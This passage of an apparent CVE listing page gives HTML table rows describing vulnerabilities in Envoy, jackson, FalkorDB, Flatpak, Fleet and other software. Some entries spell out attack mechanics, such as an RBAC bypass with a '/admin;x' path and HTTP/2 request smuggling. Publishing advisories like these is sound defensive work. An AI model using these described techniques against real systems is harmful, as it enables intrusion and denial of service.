&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71425&quot; target=&quot;_blank&quot;&gt;CVE-2025-71425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast is a confidential-computing runtime for Kubernetes. In versions before 1.4.1, a recovering Coordinator does not verify the seed supplied by the recovering party. An attacker can therefore stand up a rogue Coordinator whose manifest passes validation but whose secret seed is attacker-controlled. If network traffic is redirected from the legitimate Coordinator to the attacker&#039;s Coordinator, a workload owner can be impersonated when they either set a new manifest without comparing the returned root CA certificate against the existing one (the default behavior of the contrast CLI) or verify the Coordinator without comparing the root CA certificate against a trusted reference. Under these conditions the attacker can issue certificates that chain back to the rogue Coordinator&#039;s root CA and recover arbitrary workload secrets of workloads deployed after the attack. Secrets of the legitimate Coordinator (seed, workload secrets, CA), workload integrity, and certificates chaining to the mesh CA are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71426&quot; target=&quot;_blank&quot;&gt;CVE-2025-71426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast before 1.16.0 is susceptible to remote attestation relay attacks. Contrast accepted any TEE attestation report that verified correctly and contained the expected firmware patch levels and software measurements, regardless of which machine produced it, so attestation was not bound to specific, physically trusted hardware. An attacker who can both intercept network traffic between the CLI and the Coordinator (or between the Coordinator and an attested component) and forge reports or extract secrets from any single TEE machine under their physical control can relay such a report to impersonate a Contrast Coordinator or a Contrast workload, defeating identity verification in Contrast&#039;s attested TLS (aTLS).&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100835&quot; target=&quot;_blank&quot;&gt;CVE-2026-100835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;eesywp--eesy_ID2WP Publish InDesign HTML5&lt;/td&gt;
&lt;td&gt;The eesy_ID2WP - Publish InDesign HTML5 plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.0.3 via the `id2wp_path` parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77193&quot; target=&quot;_blank&quot;&gt;CVE-2026-77193&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elastic--Kibana&lt;/td&gt;
&lt;td&gt;Unintended Proxy or Intermediary (&#039;Confused Deputy&#039;) (CWE-441) in Kibana Agent Builder can lead to privilege escalation. A non-administrative user able to edit a shared agent could cause privileged operations to be carried out under the identity of a higher-privileged user who subsequently interacts with that agent. Where the same user can also author workflows, this can extend to full administrative control of Kibana and of the Elasticsearch cluster.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72668&quot; target=&quot;_blank&quot;&gt;CVE-2026-72668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elementor--Elementor Website Builder&lt;/td&gt;
&lt;td&gt;Cross-Site Request Forgery (CSRF) vulnerability in Elementor Website Builder allows Cross Site Request Forgery. This issue affects Elementor Website Builder: from n/a through 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62062&quot; target=&quot;_blank&quot;&gt;CVE-2026-62062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;emiago--sipgo&lt;/td&gt;
&lt;td&gt;SIPGO is a library for writing SIP services in the GO language. Prior to 1.4.1, ParserStream.parseSingle in sip/parser_stream.go allocates a SIP body buffer from the client-controlled Content-Length header before ParseMaxMessageLength is enforced. An unauthenticated peer can send a stream-transport message over TCP, TLS, WS, or WSS with an oversized declared length, causing excessive memory allocation and denial of service before the body is read. This issue is fixed in version 1.4.1.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58268&quot; target=&quot;_blank&quot;&gt;CVE-2026-58268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;emiago--sipgo&lt;/td&gt;
&lt;td&gt;SIPGO is a library for writing SIP services in the GO language. Prior to 1.4.3, WSConnection.Read in sip/transport_ws.go creates a wsutil.Reader without setting MaxFrameSize, allowing NextFrame to accept a client-controlled header.Length before ParseMaxMessageLength is applied. An unauthenticated WS or WSS peer can send a frame header declaring an extremely large payload, causing an oversized allocation or a makeslice length panic before the payload is read and crashing or exhausting memory in the server process. This issue is fixed in version 1.4.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77322&quot; target=&quot;_blank&quot;&gt;CVE-2026-77322&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s HttpDatagramHandler caches the current RequestDecoder when Capsule Protocol is enabled. Stream recreation, including an internal redirect, replaces the ActiveStream and updates EnvoyQuicServerStream but does not update the handler&#039;s cached pointer. A subsequent HTTP/3 datagram can call decodeData through the freed decoder, causing invalid virtual dispatch and a process crash. The relevant scope boundary is that hTTP/3 datagrams and Capsule Protocol must be enabled, and the request must enter a stream-recreation path such as an internal redirect. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73512&quot; target=&quot;_blank&quot;&gt;CVE-2026-73512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s optional oghttp2 upstream HTTP/2 codec accepts a response trailer HEADERS frame without END_STREAM. Envoy completes and deferred-deletes the ActiveRequest while oghttp2 keeps the stream open, leaving ClientStreamImpl with a dangling response_decoder_ reference. A later frame on the stream can dispatch through the freed object and crash the process. The relevant scope boundary is that the default nghttp2 codec rejects the malformed trailers, and the trigger is upstream-only with oghttp2 enabled. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73513&quot; target=&quot;_blank&quot;&gt;CVE-2026-73513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s /stats?format=html admin endpoint uses StatsHtmlRender, which sanitizes string statistic values but emits statistic names without HTML encoding. A data-plane component such as grpc_stats with stats_for_all_methods enabled can incorporate attacker-controlled path segments into cached dynamic statistic names. When an operator views the HTML stats page, the stored name can execute script with the admin interface&#039;s origin and issue privileged same-origin requests. The relevant scope boundary is that the admin interface must be browser-accessible and an enabled component must persist attacker-influenced text in statistic names. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73546&quot; target=&quot;_blank&quot;&gt;CVE-2026-73546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy&#039;s ext_authz filter assumes that a request contains a :path pseudoheader when applying query_parameters_to_set or query_parameters_to_remove from an authorization response. A path-less CONNECT request makes request_headers_-&amp;gt;Path() return null, and Filter::onComplete dereferences that pointer while parsing the query string. An unauthenticated downstream client can crash the Envoy process when the filter and authorization response use query-parameter mutation. The relevant scope boundary is that the deployment must accept path-less CONNECT and configure ext_authz query-parameter mutation. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73547&quot; target=&quot;_blank&quot;&gt;CVE-2026-73547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy forwards data for a configured non-WebSocket HTTP upgrade before the upstream accepts the upgrade. An unauthenticated HTTP/2 client can place a complete HTTP/1.1 request in extended CONNECT data; Envoy downgrades the request, writes the data unframed to a keep-alive HTTP/1.1 upstream, and returns the socket to the shared pool while the smuggled response remains queued. A different downstream client can then receive the attacker&#039;s response. The relevant scope boundary is that webSocket upgrades, plain CONNECT, disabled backend keep-alive, per-downstream pools, and max_requests_per_connection set to 1 are not affected by the demonstrated path. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73548&quot; target=&quot;_blank&quot;&gt;CVE-2026-73548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy copies every decoded HTTP/2 Host header value before discarding it when :authority is already present. The discarded value bypasses saveHeader, so its bytes and count are not charged against request header limits. An unauthenticated client can use HPACK indexing to submit many references to a large Host value across a bounded number of streams, forcing extreme header-copy allocation and causing the proxy to be out-of-memory killed. The relevant scope boundary is that the demonstrated amplification uses HTTP/2 HPACK and the duplicate Host discard behavior. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73550&quot; target=&quot;_blank&quot;&gt;CVE-2026-73550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy HTTP RBAC accepts RFC-valid opaque header bytes but evaluates safe_regex values with RE2&#039;s UTF-8 subject semantics. A downstream client can preserve a prohibited marker and add an unrelated obs-text octet, causing RE2::FullMatch to return false and a negative RBAC policy to treat the invalid subject as an ordinary no-match. A byte-oriented route matcher can still observe the marker, allowing the request to reach a route intended to be denied. The relevant scope boundary is that plain positive ALLOW regexes normally fail closed, and exact, prefix, suffix, and contains matchers are not shown to have this subject-domain failure. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73552&quot; target=&quot;_blank&quot;&gt;CVE-2026-73552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;envoyproxy--envoy&lt;/td&gt;
&lt;td&gt;Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, When ignore_path_parameters_in_path_matching is enabled, Envoy&#039;s router strips the semicolon suffix before matching but the RBAC url_path matcher evaluates the raw path. A downstream request such as /admin;x can therefore miss a DENY rule for /admin while the router still selects the protected /admin backend. The inconsistent canonicalization allows an unauthenticated client to bypass path-based authorization. The relevant scope boundary is that the route option and a path-based RBAC rule must both be present, and the protected route must match after stripping. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73553&quot; target=&quot;_blank&quot;&gt;CVE-2026-73553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Esri--Lerc&lt;/td&gt;
&lt;td&gt;Esri LERC is an open-source image or raster format which supports rapid encoding and decoding for any pixel type. A Heap based Out-of-Bounds Write via Integer Overflow in LERC versions 4.1.0 and earlier may allow a remote, unauthenticated attacker who can pass specifically crafted attacker controlled imagery to an application that uses LERC to crash the application, leading to a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10758&quot; target=&quot;_blank&quot;&gt;CVE-2026-10758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eufy--Omni C20&lt;/td&gt;
&lt;td&gt;Omni C20 lacks proper certificate validation which could allow an attacker to perform a man-in-the-middle attack which could allow them to execute arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93291&quot; target=&quot;_blank&quot;&gt;CVE-2026-93291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eufy--Omni C20&lt;/td&gt;
&lt;td&gt;The affected products are vulnerable to command injection attack that could allow an unauthenticated attacker to execute system commands during the pairing process.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93289&quot; target=&quot;_blank&quot;&gt;CVE-2026-93289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;F5--BIG-IP&lt;/td&gt;
&lt;td&gt;When a BIG-IP APM access policy and an OAuth profile are configured on a virtual server, specific malicious traffic can lead to remote code execution (RCE). This vulnerability is only present when BIG-IP APM is configured as an OAuth Authorization Server. Deployments using APM strictly as an OAuth Client / Resource Server (without OAuth authorization server profiles configured) are not affected by this vulnerability. Impact: This vulnerability allows an unauthenticated attacker to perform remote code execution. The BIG-IP system in Appliance mode is also vulnerable. This is a data plane issue; there is no control plane exposure. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94127&quot; target=&quot;_blank&quot;&gt;CVE-2026-94127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--FalkorDB&lt;/td&gt;
&lt;td&gt;FalkorDB (Redis module) v4.20.1 to v4.20.4 was discovered to contain a buffer overflow in the _Decode_GrB_Matrix function (/v19/decode_matrix.c). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88409&quot; target=&quot;_blank&quot;&gt;CVE-2026-88409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--Redis module&lt;/td&gt;
&lt;td&gt;FalkorDB (Redis module) v4.20.1 to v4.20.4 was discovered to contain a stack overflow in the _ValidateUnion_Clauses function (/ast/ast_validations.c). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88406&quot; target=&quot;_blank&quot;&gt;CVE-2026-88406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--Redis module&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in the node_token_count/relation_token_count component of FalkorDB (Redis module) v4.20.1 to v4.20.4 allows attackers to cause a Denial of Service (DoS) via a crafted input.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88407&quot; target=&quot;_blank&quot;&gt;CVE-2026-88407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--Redis module&lt;/td&gt;
&lt;td&gt;The graph.UDF in FalkorDB (Redis module) v4.20.1 to v4.20.4 is not registered as a write command, leading to unexpected behavior within the application.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88410&quot; target=&quot;_blank&quot;&gt;CVE-2026-88410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FalkorDB--Redis module&lt;/td&gt;
&lt;td&gt;Improper error handling in the GRAPH.EFFECT component (/effects/effects_apply.c) of FalkorDB (Redis module) v4.20.1 leads to a Denial of Service (DoS) within the application.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88411&quot; target=&quot;_blank&quot;&gt;CVE-2026-88411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fast--FAC1203R Gigabit Edition&lt;/td&gt;
&lt;td&gt;A flaw has been found in Fast FAC1203R Gigabit Edition 2.0.4. Affected by this issue is the function copy_msg_element of the component Device Discovery Service. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96257&quot; target=&quot;_blank&quot;&gt;CVE-2026-96257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FasterXML--jackson-core&lt;/td&gt;
&lt;td&gt;NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates &quot;stringified numbers&quot; with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java&#039;s backtracking engine to retry every possible split point of the digit run.&amp;nbsp; Matching cost therefore grows with the square of the input length.&amp;nbsp; An attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind&#039;s default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float).&amp;nbsp; Because StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex.&amp;nbsp; Testing by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server&#039;s request-handling thread pool.&amp;nbsp; The affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected.&amp;nbsp; The fix replaces both regular expressions with a hand-rolled single-pass scan.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89407&quot; target=&quot;_blank&quot;&gt;CVE-2026-89407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FasterXML--jackson-core&lt;/td&gt;
&lt;td&gt;UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89425&quot; target=&quot;_blank&quot;&gt;CVE-2026-89425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FasterXML--jackson-databind&lt;/td&gt;
&lt;td&gt;TypeDeserializerBase._findDeserializer() in FasterXML jackson-databind caches the resolved deserializer under the raw, attacker-supplied type ID. When name-based polymorphism is configured with a fallback, for example @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unrecognized type ID resolves to the same fallback deserializer but is retained as its own key in the _deserializers map. That map has no configurable bound and lives for the lifetime of the type deserializer, so an attacker who can repeatedly supply fresh unknown type IDs causes monotonic memory retention across requests. The reporter observed 10,000 retained entries from 10,000 distinct unknown IDs, against a single entry for a control that repeated one unknown ID the same number of times, isolating attacker-controlled key cardinality from request volume. Exploitation requires an application that enables name-based polymorphism with a defaultImpl or equivalent fallback, accepts attacker-influenced type IDs, and reuses a long-lived ObjectMapper across requests. The fix stops caching fallback resolutions for unrecognized IDs and bounds both the number of cached entries and the length of a cacheable type ID.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91776&quot; target=&quot;_blank&quot;&gt;CVE-2026-91776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FasterXML--jackson-databind&lt;/td&gt;
&lt;td&gt;Forward-reference completion for @JsonIdentityInfo object IDs in FasterXML jackson-databind performs a linear scan of the pending-reference accumulator for every resolved ID. The affected paths are CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference() and the equivalent implementation in MapDeserializer. When a document first creates N unresolved object-ID references in an identity-enabled collection or map and then defines those same IDs in reverse order, completion performs on the order of N * (N + 1) / 2 identity comparisons, so a shallow document whose size grows linearly causes quadratic CPU work during deserialization. The reporter instrumented equals() calls on the ID class and measured exactly 2,003,000 comparisons at N = 2,000, against zero comparisons in the pending-reference lookup path for an equally sized control in which every reference was already resolved. The input requires no deep nesting and no syntactically unusual JSON. Exploitation requires an application that deserializes attacker-influenced JSON into an identity-enabled collection or map. The fix replaces the repeated linear lookup with a keyed pending-reference structure.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91777&quot; target=&quot;_blank&quot;&gt;CVE-2026-91777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fecommunity--reactpress&lt;/td&gt;
&lt;td&gt;ReactPress is a publishing system for React developers. Prior to version 3.7.0, ReactPress API list endpoints build TypeORM `QueryBuilder` conditions using unsanitized HTTP query parameter names as SQL column identifiers (e.g. `` `article.${key}` ``). TypeORM parameterizes values but not column names, allowing unauthenticated attackers to inject SQL through crafted query string keys. Version 3.7.0 contains a patch. As a workaround, allowlist allowed filter column names before interpolating into SQL.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61685&quot; target=&quot;_blank&quot;&gt;CVE-2026-61685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Flatpak--Flatpak&lt;/td&gt;
&lt;td&gt;In Flatpak before 1.18.1, the revokefs writer, used by the flatpak-system-helper to receive repository data from unprivileged callers, validated file paths by rejecting literal .. components but did not prevent symlink traversal. A malicious local user in an active local session could obtain two revokefs sessions via the system helper, create a symlink in one session pointing into the other session&#039;s directory, and retain a file descriptor through that symlink. This allowed the attacker to modify files belonging to a different revokefs session after they had been validated and imported by the system helper. In particular, an attacker could use this to tamper with ostree commit objects in the system repository after they passed signature verification, enabling root-controlled file writes to attacker-chosen paths and local root privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96808&quot; target=&quot;_blank&quot;&gt;CVE-2026-96808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fleetdm--fleet&lt;/td&gt;
&lt;td&gt;Fleet-maintained app install and uninstall scripts for macOS are generated from Homebrew cask metadata. In manifests generated before 2026-08-19, the script generator escaped this metadata at some interpolation sites but not all of them, so cask metadata containing shell metacharacters (for example $(...) command substitution) could be carried into scripts that execute as root on managed macOS hosts. An attacker who could land crafted metadata in an upstream Homebrew cask - without needing any Fleet credentials - could achieve arbitrary command execution as root on managed macOS hosts that install or uninstall the affected Fleet-maintained app; exploitation required the crafted metadata to pass both upstream Homebrew cask review and Fleet&#039;s review of the automated ingestion pull request. The fix (fleetdm/fleet#51324) landed in Fleet&#039;s ingestion pipeline on 2026-08-19 so that all manifests generated on or after that date escape cask metadata at every interpolation site; because manifests are generated centrally and distributed as pre-built content, remediation applied to all deployments with no customer action, and the code fix is included in Fleet v4.92.0.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
